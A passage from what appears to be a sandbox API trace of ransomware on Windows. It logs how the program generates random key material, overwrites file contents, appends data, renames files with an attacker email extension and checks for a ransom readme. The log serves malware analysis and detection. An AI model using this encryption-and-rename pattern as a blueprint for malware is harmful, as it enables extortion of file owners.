_Source="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0166.792] wcscat (in: _Dest=0x2fc3290, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0166.792] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0166.793] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0166.793] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3290) returned 1 [0166.793] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0166.794] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87bc8 [0166.794] wcscpy (in: _Dest=0x2f87bc8, _Source="C:\\588bce7c90097ed212\\1037\\" | out: _Dest="C:\\588bce7c90097ed212\\1037\\") returned="C:\\588bce7c90097ed212\\1037\\" [0166.794] wcscat (in: _Dest=0x2f87bc8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1037\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1037\\D0E731-Readme.txt" [0166.794] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1037\\d0e731-readme.txt")) returned 0x20 [0166.794] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87bc8) returned 1 [0166.794] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6d0c8) returned 1 [0166.794] RtlExitUserThread (Status=0x1) Thread: id = 1634 os_tid = 0x5ac [0166.797] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0166.798] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0166.799] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0166.799] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xa0efa10 | out: lpFileSize=0xa0efa10*=3718) returned 1 [0166.799] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xe82, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.799] ReadFile (in: hFile=0x528, lpBuffer=0xa0ef9e4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa0ef9e0, lpOverlapped=0x0 | out: lpBuffer=0xa0ef9e4*, lpNumberOfBytesRead=0xa0ef9e0*=0x4, lpOverlapped=0x0) returned 1 [0166.800] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.800] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe47d0 [0166.800] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4618 [0166.800] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4708 [0166.800] NtQuerySystemTime (in: CurrentTime=0xa0ef9bc | out: CurrentTime=0xa0ef9bc*=132121213241108153) returned 0x0 [0166.800] RtlRandom (in: Seed=0xa0ef9c8 | out: Seed=0xa0ef9c8) returned 0xf33c1b1d [0166.800] RtlRandom (in: Seed=0xa0ef9c8 | out: Seed=0xa0ef9c8) returned 0x9eeeed36 [0166.800] RtlRandom (in: Seed=0xa0ef9c8 | out: Seed=0xa0ef9c8) returned 0x730d4b1d [0166.800] RtlRandom (in: Seed=0xa0ef9c8 | out: Seed=0xa0ef9c8) returned 0x31d9ecdd [0166.800] RtlRandom (in: Seed=0xa0ef9c8 | out: Seed=0xa0ef9c8) returned 0x11bbaf17 [0166.800] RtlRandom (in: Seed=0xa0ef9c8 | out: Seed=0xa0ef9c8) returned 0xafb58ce6 [0166.801] RtlRandom (in: Seed=0xa0ef9c8 | out: Seed=0xa0ef9c8) returned 0xb3e4d06e [0166.801] RtlRandom (in: Seed=0xa0ef9c8 | out: Seed=0xa0ef9c8) returned 0x9c9cde8a [0166.801] RtlRandom (in: Seed=0xa0ef9c8 | out: Seed=0xa0ef9c8) returned 0x3ccca231 [0166.801] RtlRandom (in: Seed=0xa0ef9c8 | out: Seed=0xa0ef9c8) returned 0xe994806c [0166.801] RtlRandom (in: Seed=0xa0ef9c8 | out: Seed=0xa0ef9c8) returned 0x2e90a013 [0166.801] RtlRandom (in: Seed=0xa0ef9c8 | out: Seed=0xa0ef9c8) returned 0x3d8e6e71 [0166.801] RtlRandom (in: Seed=0xa0ef9c8 | out: Seed=0xa0ef9c8) returned 0xd7cfba30 [0166.801] RtlRandom (in: Seed=0xa0ef9c8 | out: Seed=0xa0ef9c8) returned 0xf9eb1dba [0166.801] RtlRandom (in: Seed=0xa0ef9c8 | out: Seed=0xa0ef9c8) returned 0xa486d3cc [0166.801] RtlRandom (in: Seed=0xa0ef9c8 | out: Seed=0xa0ef9c8) returned 0xd9bcb680 [0166.801] RtlRandom (in: Seed=0xa0ef9c8 | out: Seed=0xa0ef9c8) returned 0xf6fa5fd0 [0166.801] RtlRandom (in: Seed=0xa0ef9c8 | out: Seed=0xa0ef9c8) returned 0x25abf8e9 [0166.801] RtlRandom (in: Seed=0xa0ef9c8 | out: Seed=0xa0ef9c8) returned 0x90eda63d [0166.801] RtlRandom (in: Seed=0xa0ef9c8 | out: Seed=0xa0ef9c8) returned 0x15307952 [0166.801] RtlRandom (in: Seed=0xa0ef9c8 | out: Seed=0xa0ef9c8) returned 0x7c98c3b8 [0166.801] RtlRandom (in: Seed=0xa0ef9c8 | out: Seed=0xa0ef9c8) returned 0xf99f8b7c [0166.801] RtlRandom (in: Seed=0xa0ef9c8 | out: Seed=0xa0ef9c8) returned 0x77d668b0 [0166.801] RtlRandom (in: Seed=0xa0ef9c8 | out: Seed=0xa0ef9c8) returned 0x8219d341 [0166.801] RtlRandom (in: Seed=0xa0ef9c8 | out: Seed=0xa0ef9c8) returned 0x630f1ec4 [0166.801] RtlRandom (in: Seed=0xa0ef9c8 | out: Seed=0xa0ef9c8) returned 0xdc0a3ad [0166.801] RtlRandom (in: Seed=0xa0ef9c8 | out: Seed=0xa0ef9c8) returned 0xa2325c8b [0166.801] RtlRandom (in: Seed=0xa0ef9c8 | out: Seed=0xa0ef9c8) returned 0x1bd552af [0166.801] RtlRandom (in: Seed=0xa0ef9c8 | out: Seed=0xa0ef9c8) returned 0xb448251f [0166.801] RtlRandom (in: Seed=0xa0ef9c8 | out: Seed=0xa0ef9c8) returned 0xb241f5f8 [0166.801] RtlRandom (in: Seed=0xa0ef9c8 | out: Seed=0xa0ef9c8) returned 0x90a4de6f [0166.801] RtlRandom (in: Seed=0xa0ef9c8 | out: Seed=0xa0ef9c8) returned 0x56505187 [0166.811] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4730 [0166.813] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0166.813] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4758 [0166.813] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0166.813] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe47d0) returned 1 [0166.813] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87620 [0166.813] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0166.813] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4780 [0166.813] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4780) returned 1 [0166.813] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0166.813] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0166.813] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0xe86, lpNumberOfBytesRead=0xa0ef9bc, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xa0ef9bc*=0xe86, lpOverlapped=0x0) returned 1 [0166.813] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa0ef984 | out: lpNewFilePointer=0x0) returned 1 [0166.813] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0xe86, lpNumberOfBytesWritten=0xa0ef9b8, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xa0ef9b8*=0xe86, lpOverlapped=0x0) returned 1 [0166.814] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4550 [0166.814] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe47a8 [0166.814] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe47a8) returned 1 [0166.814] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4550*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa0ef9b4, lpOverlapped=0x0 | out: lpBuffer=0x2fe4550*, lpNumberOfBytesWritten=0xa0ef9b4*=0x20, lpOverlapped=0x0) returned 1 [0166.814] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4550) returned 1 [0166.814] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0166.814] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0166.814] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0166.814] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87620) returned 1 [0166.814] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4758*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xa0ef9e0, lpOverlapped=0x0 | out: lpBuffer=0x2fe4758*, lpNumberOfBytesWritten=0xa0ef9e0*=0x8, lpOverlapped=0x0) returned 1 [0166.814] WriteFile (in: hFile=0x528, lpBuffer=0xa0ef9f8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa0ef9e0, lpOverlapped=0x0 | out: lpBuffer=0xa0ef9f8*, lpNumberOfBytesWritten=0xa0ef9e0*=0x4, lpOverlapped=0x0) returned 1 [0166.814] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa0ef9e0, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xa0ef9e0*=0x4, lpOverlapped=0x0) returned 1 [0166.814] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xa0ef9e0, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xa0ef9e0*=0x6c, lpOverlapped=0x0) returned 1 [0166.815] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4618*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa0ef9e0, lpOverlapped=0x0 | out: lpBuffer=0x2fe4618*, lpNumberOfBytesWritten=0xa0ef9e0*=0x20, lpOverlapped=0x0) returned 1 [0166.815] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa0ef9e0, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xa0ef9e0*=0x4, lpOverlapped=0x0) returned 1 [0166.815] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4618) returned 1 [0166.815] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4730) returned 1 [0166.815] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4758) returned 1 [0166.815] CloseHandle (hObject=0x528) returned 1 [0166.815] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2f7e038 [0166.815] wcscpy (in: _Dest=0x2f7e038, _Source="C:\\588bce7c90097ed212\\1036\\eula.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1036\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1036\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0166.815] wcscat (in: _Dest=0x2f7e038, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1036\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1036\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0166.815] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0166.816] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0166.816] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7e038) returned 1 [0166.816] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0166.816] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87bc8 [0166.816] wcscpy (in: _Dest=0x2f87bc8, _Source="C:\\588bce7c90097ed212\\1036\\" | out: _Dest="C:\\588bce7c90097ed212\\1036\\") returned="C:\\588bce7c90097ed212\\1036\\" [0166.816] wcscat (in: _Dest=0x2f87bc8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1036\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1036\\D0E731-Readme.txt" [0166.816] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1036\\d0e731-readme.txt")) returned 0x20 [0166.817] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87bc8) returned 1 [0166.817] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6abf8) returned 1 [0166.817] RtlExitUserThread (Status=0x1) Thread: id = 1635 os_tid = 0x5a8 [0166.818] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0166.819] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0166.819] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0166.819] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xa16fea4 | out: lpFileSize=0xa16fea4*=83154) returned 1 [0166.819] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x144ce, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.819] ReadFile (in: hFile=0x528, lpBuffer=0xa16fe78, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa16fe74, lpOverlapped=0x0 | out: lpBuffer=0xa16fe78*, lpNumberOfBytesRead=0xa16fe74*=0x4, lpOverlapped=0x0) returned 1 [0166.821] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.821] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe47d0 [0166.821] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4618 [0166.821] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4730 [0166.821] NtQuerySystemTime (in: CurrentTime=0xa16fe50 | out: CurrentTime=0xa16fe50*=132121213241416862) returned 0x0 [0166.821] RtlRandom (in: Seed=0xa16fe5c | out: Seed=0xa16fe5c) returned 0x5b86f7d0 [0166.821] RtlRandom (in: Seed=0xa16fe5c | out: Seed=0xa16fe5c) returned 0x13ddd270 [0166.821] RtlRandom (in: Seed=0xa16fe5c | out: Seed=0xa16fe5c) returned 0xb4d6c6b4 [0166.821] RtlRandom (in: Seed=0xa16fe5c | out: Seed=0xa16fe5c) returned 0xc01c7917 [0166.821] RtlRandom (in: Seed=0xa16fe5c | out: Seed=0xa16fe5c) returned 0xc408a636 [0166.821] RtlRandom (in: Seed=0xa16fe5c | out: Seed=0xa16fe5c) returned 0x4faf54a2 [0166.821] RtlRandom (in: Seed=0xa16fe5c | out: Seed=0xa16fe5c) returned 0x55f2b4e8 [0166.821] RtlRandom (in: Seed=0xa16fe5c | out: Seed=0xa16fe5c) returned 0x6c600498 [0166.821] RtlRandom (in: Seed=0xa16fe5c | out: Seed=0xa16fe5c) returned 0xd6553909 [0166.821] RtlRandom (in: Seed=0xa16fe5c | out: Seed=0xa16fe5c) returned 0x9d630fe8 [0166.821] RtlRandom (in: Seed=0xa16fe5c | out: Seed=0xa16fe5c) returned 0xab95f2d0 [0166.821] RtlRandom (in: Seed=0xa16fe5c | out: Seed=0xa16fe5c) returned 0x9fcc978 [0166.821] RtlRandom (in: Seed=0xa16fe5c | out: Seed=0xa16fe5c) returned 0x6da32b92 [0166.821] RtlRandom (in: Seed=0xa16fe5c | out: Seed=0xa16fe5c) returned 0x4ac7b097 [0166.822] RtlRandom (in: Seed=0xa16fe5c | out: Seed=0xa16fe5c) returned 0x87c1392c [0166.822] RtlRandom (in: Seed=0xa16fe5c | out: Seed=0xa16fe5c) returned 0x9a7c1b97 [0166.822] RtlRandom (in: Seed=0xa16fe5c | out: Seed=0xa16fe5c) returned 0x8e097700 [0166.822] RtlRandom (in: Seed=0xa16fe5c | out: Seed=0xa16fe5c) returned 0x52ef62c [0166.822] RtlRandom (in: Seed=0xa16fe5c | out: Seed=0xa16fe5c) returned 0xe6bed94b [0166.822] RtlRandom (in: Seed=0xa16fe5c | out: Seed=0xa16fe5c) returned 0x82e32c35 [0166.822] RtlRandom (in: Seed=0xa16fe5c | out: Seed=0xa16fe5c) returned 0x361f9640 [0166.822] RtlRandom (in: Seed=0xa16fe5c | out: Seed=0xa16fe5c) returned 0xf429d9df [0166.822] RtlRandom (in: Seed=0xa16fe5c | out: Seed=0xa16fe5c) returned 0x47763bcc [0166.822] RtlRandom (in: Seed=0xa16fe5c | out: Seed=0xa16fe5c) returned 0xf7a95d08 [0166.822] RtlRandom (in: Seed=0xa16fe5c | out: Seed=0xa16fe5c) returned 0xb3698b28 [0166.822] RtlRandom (in: Seed=0xa16fe5c | out: Seed=0xa16fe5c) returned 0xa7d14070 [0166.822] RtlRandom (in: Seed=0xa16fe5c | out: Seed=0xa16fe5c) returned 0x3fe86d3f [0166.822] RtlRandom (in: Seed=0xa16fe5c | out: Seed=0xa16fe5c) returned 0xb30c896a [0166.822] RtlRandom (in: Seed=0xa16fe5c | out: Seed=0xa16fe5c) returned 0xd6ff84a6 [0166.822] RtlRandom (in: Seed=0xa16fe5c | out: Seed=0xa16fe5c) returned 0x51c98d3d [0166.822] RtlRandom (in: Seed=0xa16fe5c | out: Seed=0xa16fe5c) returned 0xd5d59e4a [0166.822] RtlRandom (in: Seed=0xa16fe5c | out: Seed=0xa16fe5c) returned 0xe0e764cf [0166.830] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4758 [0166.832] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0166.832] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4780 [0166.832] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0166.832] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe47d0) returned 1 [0166.832] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0166.832] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.832] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xa16fe28, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xa16fe28*=0x4096, lpOverlapped=0x0) returned 1 [0166.833] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.833] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87620 [0166.833] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0166.833] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe47a8 [0166.833] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe47a8) returned 1 [0166.834] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0166.834] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4550 [0166.834] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe47a8 [0166.834] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe47a8) returned 1 [0166.834] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0166.834] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87620) returned 1 [0166.834] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xa16fe28, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xa16fe28*=0x4096, lpOverlapped=0x0) returned 1 [0166.834] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0166.834] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x144d2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.834] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4550*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa16fe60, lpOverlapped=0x0 | out: lpBuffer=0x2fe4550*, lpNumberOfBytesWritten=0xa16fe60*=0x20, lpOverlapped=0x0) returned 1 [0166.835] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4550) returned 1 [0166.835] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0166.835] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4780*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xa16fe74, lpOverlapped=0x0 | out: lpBuffer=0x2fe4780*, lpNumberOfBytesWritten=0xa16fe74*=0x8, lpOverlapped=0x0) returned 1 [0166.835] WriteFile (in: hFile=0x528, lpBuffer=0xa16fe8c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa16fe74, lpOverlapped=0x0 | out: lpBuffer=0xa16fe8c*, lpNumberOfBytesWritten=0xa16fe74*=0x4, lpOverlapped=0x0) returned 1 [0166.835] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa16fe74, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xa16fe74*=0x4, lpOverlapped=0x0) returned 1 [0166.835] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xa16fe74, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xa16fe74*=0x6c, lpOverlapped=0x0) returned 1 [0166.835] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4618*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa16fe74, lpOverlapped=0x0 | out: lpBuffer=0x2fe4618*, lpNumberOfBytesWritten=0xa16fe74*=0x20, lpOverlapped=0x0) returned 1 [0166.835] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa16fe74, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xa16fe74*=0x4, lpOverlapped=0x0) returned 1 [0166.835] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4618) returned 1 [0166.836] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4758) returned 1 [0166.836] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4780) returned 1 [0166.836] CloseHandle (hObject=0x528) returned 1 [0166.836] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xde) returned 0x2fc3290 [0166.836] wcscpy (in: _Dest=0x2fc3290, _Source="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0166.836] wcscat (in: _Dest=0x2fc3290, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0166.836] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: 